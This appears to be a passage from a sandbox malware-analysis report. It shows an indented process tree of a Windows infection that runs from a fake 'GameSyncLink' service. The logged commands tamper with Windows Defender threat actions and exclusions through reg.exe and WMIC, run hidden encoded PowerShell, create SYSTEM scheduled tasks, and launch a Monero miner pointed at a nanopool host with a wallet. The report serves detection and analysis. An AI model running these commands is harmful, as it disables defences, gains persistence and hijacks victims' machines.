                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2964
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5812
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5732
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 11:06:30 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\TutgiTf.exe\" aV /rxlSdidzM 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1936
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /run /I /tn "yfARWRprRqUFWeTGf"
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4744
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5660
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1804
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\Temp\613877.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Windows\Temp\613877.exe" --list-devices
                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6776
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5296
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5156
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4740
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5808
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5964
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1652
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\Temp\634700.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\Temp\634700.exe" --http-port 14343 -o xmr-eu1.nanopool.org:14433 -u 87jfV1GRtJdjaDGbwYhBKKfegvZtaZ8doB8utKXYrYM5dRZveCapx8tgypYfPB3RxogXSRwA21sQmJ7w2Uja2NGCFmwZBq8 --coin monero -t 1 --no-color --tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2248
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6680
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6800
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6340
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\windefender.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\perUhuM.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\perUhuM.exe aV /CvpzdidJx 385118 /S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6072
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6856
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6848
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:336
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\PDdCVC.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\VtvEIof.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  schtasks /END /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\fjhWGem.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\ZmUAckg.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\ehzkJjF.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\xyCooDg.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "aNyMQclguOCSCcjxm" /SC once /ST 04:13:50 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nlcUipsDcFbdntMB\pAJRvzHw\rCNYPdr.dll\",#1 /lSkMdidUa 385118" /V1 /F
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      schtasks /run /I /tn "aNyMQclguOCSCcjxm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\TutgiTf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\TutgiTf.exe aV /rxlSdidzM 385118 /S
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5⤵
